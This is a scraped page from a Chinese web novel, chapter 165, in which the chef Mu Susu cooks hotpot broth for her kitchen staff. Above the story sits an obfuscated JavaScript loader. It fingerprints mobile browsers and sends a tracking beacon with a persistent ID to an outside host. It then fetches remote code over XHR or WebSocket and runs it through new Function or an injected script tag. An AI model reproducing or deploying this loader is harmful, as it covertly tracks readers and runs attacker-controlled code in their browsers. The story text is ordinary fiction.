第165章(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
沐苏苏在他们心里几乎是万能的,能文能武,厨艺高超为人还善良大方,天下几个老板会员工这般善解人意的。
“火锅!”刘颖精准地提醒,眼里闪烁着干饭的火花。
沐苏苏难得笑了笑,“好,你们也别干站着,都各自去挑些想吃的,拿过来处理。”
“好嘞!”众人十分期待地应和。
不少人虽然有些疑惑,不同的人喜好吃的各不相同,若是一一满足不得累瘫了,这时间也是不够用的。
疑惑是有的,但是他们对于沐苏苏的信心让他们选择照做。
反正他们都知道,沐厨从不让他们失望。
沐苏苏起锅烧油,锅里加入加牛油熬化,加油加豆瓣酱接着熬煮,白酒适量熬煮,而后是炒制香料。
底料的香味来自几款干辣椒,少许花椒,一小把小茴香和香叶,八角,桂皮等等香料炒制出来的香味,可以添点罗汉果。
炒制好红汤锅底后加的是炖煮一早上的大骨头高汤,奶白的高汤十分鲜美,搅拌熬煮。
除了红汤锅底的还有清汤锅底也是有讲究的,以将近十款干菇为原料做的大骨三菌汤底,当然还有一锅待会做加汤的备用汤水。
熬制的火锅底料香味扑鼻,后厨的人忍不住吸溜了下口水,心里嗷嗷直叫。
原来这两锅高汤是为他们准备的,沐厨对他们真的太好了!
“太香了,我能不能先尝一口。”刘颖握着勺子望着沐苏苏,仿佛只等她一声令下就能埋头开干。
这嘴馋的模样让沐苏苏忍不住乐了下,无情拒绝,“不行,现在还不能吃。”
刘颖吃瘪地可怜目光瞧着沐苏苏,“就一口,他沸腾了。”
还知道沸腾了,看这模样就差直接上嘴了,也不怕烫伤食道!
沐苏苏看着她猴急的动作,更加不能同意了。
“你洗手没,先去洗手,等我把这些都焯水了,就能吃了。”沐苏苏说道。
被打发去洗手的刘颖泪水都要下来的,一步三回头,可怜我的火锅啊。
这动作直让人无言以对,沐苏苏看得眉眼一跳,单看这神情不知道的还以为她做了棒打鸳鸯等丧心病狂的事情。
“沐厨,我们也来帮忙,焯水小菜一碟。”旁边余光关注锅底很久的几个帮厨抢先说道。
沐苏苏看了下时间,还没到饭点应该不着急吧。
“行,这边的都要焯水。”沐苏苏也没拒绝,很快将食材划分好。
人多确实快,洗完手飞奔回来的刘颖就看到端上桌的食材,只是锅下边还有个小灶,食材都没下锅。
“可以吃了。”沐苏苏说完众人看着还是生的食材,没动静。
大年三十沐厨总不会跟他们开玩笑吧?
“愣着做什么,都围着圈坐下,幸好院子里有这套废弃的石桌,不然我们就得蹲地上吃了。”
沐苏苏说着便在众人灼灼目光下用公筷烫了一筷子牛肉,将其蘸满花生酱,放到刘颖碗里,疑惑道,“不是饿了吗?怎么这会都不吃了?”